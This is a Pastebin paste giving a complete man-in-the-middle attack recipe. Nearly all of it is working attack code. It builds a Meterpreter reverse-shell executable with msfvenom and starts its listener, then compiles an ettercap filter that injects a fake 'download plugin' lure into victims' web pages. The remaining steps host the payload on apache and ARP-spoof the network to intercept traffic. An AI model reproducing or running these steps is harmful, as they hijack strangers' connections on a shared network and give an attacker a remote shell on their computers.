r00t-3xp10it

packet manipulation (http)

Mar 6th, 2016
289
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
R 2.10 KB | None | 0 0
  1. # ---
  2. # Author: r00t-3xp10it | 6-mar-2016
  3. # ettercap filter to inject one payload into target webpage request
  4. # 'under MitM attacks' replacing the html tag </title> by our code,
  5. # befor sending the webpage requested to target machine!
  6. # REMMENBER TO REPLACE THE 'IP ADDRESS' IN THIS EXAMPLE BY YOUR BOX 'IP ADDRESS'
  7. # REMMENBER TO EDIT ETTER.DNS TO POINT TO mega-upload A 192.168.1.67 (redirect domain to your apache2)
  8. # REMMENBER TO EDIT ETTER.DNS AND UN-COMMENT THE FIELD: 'if you use ip_tables'
  9. # ---
  10.  
  11.  
  12. # BUILD MSFVENOM BINARY PAYLOAD (.exe)
  13. sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=666 -f exe > /root/payload.exe
  14.  
  15.  
  16. # START MULTI-HANDLER (listenner)
  17. msf> use exploit/multi/handler
  18. msf> set payload windows/meterpreter/reverse_tcp
  19. msf> set LHOST 192.168.1.67
  20. msf> set LPORT 666
  21. msf> exploit
  22.  
  23.  
  24.  
  25.  
  26.  
  27. # IFRAME.EFT FILTER TO BE COMPILED
  28. if (ip.proto == TCP && tcp.dst == 80) {
  29.  
  30.   if (search(DATA.data, "Accept-Encoding")) {
  31.   replace("Accept-Encoding", "Accept-Nothing!");
  32.   }
  33. }
  34.  
  35. if (ip.proto == TCP && tcp.src == 80) {
  36.  
  37. if (search(DATA.data, "<title>")) {
  38. replace("</title>", "</title><form action='http://192.168.1.67/payload.exe' method='link'><img src='http://192.168.1.67/image.gif'><INPUT TYPE='submit' value='DOWNLOAD_PLUGIN'></form><html><body><h10>You are unable to view some of the web page’s contents. You need to download the latest plugins to fix this issue.</h10></body></html>");
  39.  
  40. msg("malicious url injected into -> targets html request");
  41.   }
  42. }
  43.  
  44.  
  45.  
  46.  
  47.  
  48. # compile iframe.eft filter into iframe.ef
  49. sudo etterfilter /root/iframe.eft -o /root/iframe.ef
  50.  
  51.  
  52. # copy files to apache2 webroot
  53. sudo cp /root/payload.exe /var/www/html
  54. sudo cp /root/image.gif /var/www/html
  55.  
  56.  
  57. # START APACHE2 SERVICE
  58. /etc/init.d/apache2 start
  59.  
  60.  
  61. # ip_forwarding
  62. echo "1" > /proc/sys/net/ipv4/ip_forward
  63.  
  64.  
  65. # run ettercap mitm+filter
  66. sudo ettercap -T -q -i wlan0 -F /root/iframe.ef -M ARP /targetip/ /routerip/
  67.  
  68.  
  69.  
  70. # IF YOUR PC USES IPV6 THEN USE THIS CONFIG INSTEAD OF THE ABOVE CODE
  71. # sudo ettercap -T -q -i wlan0 -F /root/iframe.ef -M ARP /targetip// /routerip//
Advertisement
Add Comment
Please, Sign In to add comment